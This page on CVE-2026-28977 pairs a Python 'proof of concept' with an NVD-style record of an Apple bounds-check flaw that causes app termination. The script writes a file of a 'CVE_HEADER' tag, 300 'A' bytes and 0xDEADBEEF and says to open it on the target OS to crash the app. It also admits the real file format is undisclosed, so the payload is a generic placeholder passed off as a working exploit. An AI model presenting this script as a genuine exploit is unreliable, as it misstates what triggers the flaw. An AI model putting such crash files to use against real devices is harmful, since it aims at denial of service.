CVE-2026-28977

import struct # Proof of Concept for CVE-2026-28977 # This script generates a malformed file to trigger the bounds check issue. # Note: The specific file format parser is not disclosed. def generate_malicious_file(filename): with open(filename, 'wb') as f: # Write a simulated header f.write(b'CVE_HEADER') # Write payload designed to exceed buffer bounds # Assuming a vulnerable buffer size of 256 bytes payload = b'A' * 300 # Overflow length f.write(payload) # Add specific offset to trigger the check failure f.write(struct.pack('<I', 0xDEADBEEF)) if __name__ == "__main__": fname = "exploit_cve_2026_28977.bin" generate_malicious_file(fname) print(f"[+] Malicious file '{fname}' generated successfully.") print("[+] Open this file with the vulnerable application on the target OS to trigger the crash.")

{"cve": {"id": "CVE-2026-28977", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:18:58.217", "lastModified": "2026-05-14T14:01:08.457", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The issue was addressed with improved bounds checks. This issue is fixed in iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Sequoia 15.7.7, macOS Sonoma 14.8.7, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing a maliciously crafted file may lead to unexpected app termination."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.5, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-119"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "F3968B76-E6DE-416D-A0FB-E4833FFAAE0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "20644D7E-2AB6-48CA-AED4-C474A9867986"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "B6431EAF-B395-4C19-9AB6-A2F45991C897"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "1BE54A3B-D667-43BA-AB71-BCF8438054E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "14.0", "versionEndExcluding": "14.8.7", "matchCriteriaId": "DD9E7FAE-30DA-4B2B-A63A-6DFEA7A29933"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "15.0", "versionEndExcluding": "15.7.7", "matchCriteriaId": "2984C440-3DC2-413A-B5FA-1FAB21078DB8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127116", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127117", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}]}}